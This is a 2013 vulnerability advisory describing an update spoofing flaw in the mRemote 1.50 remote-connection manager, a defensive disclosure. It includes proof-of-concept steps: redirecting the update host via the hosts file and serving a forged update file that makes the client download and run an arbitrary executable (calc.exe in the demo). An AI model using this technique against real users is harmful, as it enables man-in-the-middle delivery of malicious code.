mRemote 1.50 Update Spoofing

2013-03-29T00:00:00
ID PACKETSTORM:121018
Type packetstorm
Reporter Janek Vind aka waraxe
Modified 2013-03-29T00:00:00

Description

                                        
                                            `  
[waraxe-2013-SA#100] - Update Spoofing Vulnerability in mRemote 1.50  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 29. March 2013  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-100.html  
  
  
Description of vulnerable software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
mRemote is a software solution that will allow you to manage all your remote  
control connections in a single place. Currently it supports the RDP, VNC,  
SSH2 and Telnet protocols.  
  
http://www.royalts.com/main/home/mRemote.aspx  
http://mremote-portable.softpile.com/58492/download/  
  
Vulnerable is version 1.50, other versions not tested.  
  
  
###############################################################################  
1. Update Spoofing Vulnerability  
###############################################################################  
  
Current version of mRemote contains security vulnerability in update mechanism,  
which can be exploited by malicious people to conduct spoofing attacks.  
  
When checking for updates, mRemote issues GET request over HTTP:  
  
  
GET /mRemote_Update.txt HTTP/1.1  
Host: update.mremote.org  
Connection: Keep-Alive  
  
  
Server response:  
  
HTTP/1.1 200 OK  
Content-Length: 284  
Content-Type: text/plain  
Last-Modified: Wed, 22 Apr 2009 18:29:48 GMT  
Accept-Ranges: bytes  
ETag: "16cc425178c3c91:1e75"  
Server: Microsoft-IIS/6.0  
X-Powered-By: ASP.NET  
Date: Thu, 28 Mar 2013 14:03:07 GMT  
  
Version: 1.50  
dURL: http://www.mremote.org/wiki/GetFile.aspx?File=Downloads/mRemote_1.50_Setup.exe  
clURL: http://update.mRemote.org/mRemote_1.50_ChangeLog.txt  
imgURL: http://update.mRemote.org/banners/Banner_vRD09.png  
imgURLLink: http://www.visionapp.com/vRD2009-highlights.html  
  
  
mRemote user can click "Download and Install" button and mRemote  
will download and install the update.  
  
Such update mechanism contains two security flaws:  
  
1. Update check is done over unencrypted HTTP channel. Malicious third party  
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.  
In this way it is possible to instruct mRemote to download malicious update.  
  
2. mRemote will execute downloaded update without digital signature  
verification.  
  
Testing: tests were done using Windows 7 and Apache webserver. Steps:  
  
1. modify "windows/system32/drivers/etc/hosts" file in order to emulate  
DNS spoofing: 127.0.0.1 update.mremote.org  
  
2. create text file "mRemote_Update.txt" to the webserver main directory  
with following content:  
  
Version: 1.51  
dURL: http://localhost/calc.exe  
clURL: http://localhost/mRemote_1.51_ChangeLog.txt  
imgURL: http://update.mRemote.org/banners/Banner_vRD09.png  
imgURLLink: http://www.visionapp.com/vRD2009-highlights.html  
  
  
3. create text file "mRemote_1.51_ChangeLog.txt" to the webserver main  
directory with following content:  
  
New version 1.51 available!  
  
  
4. Place "calc_EN.exe" file to the webserver main directory.  
  
5. Open mRemote, it will check for updates automatically.  
  
Response: New version 1.51 available!  
  
6. Press "Download and Install" button. Successful download ends with response:  
  
Download complete! mRemote will now quit and begin with the installation.  
  
7. Press "OK" button and downloaded exe file will be executed.  
  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
come2waraxe@yahoo.com  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
---------------------------------- [ EOF ] ------------------------------------  
`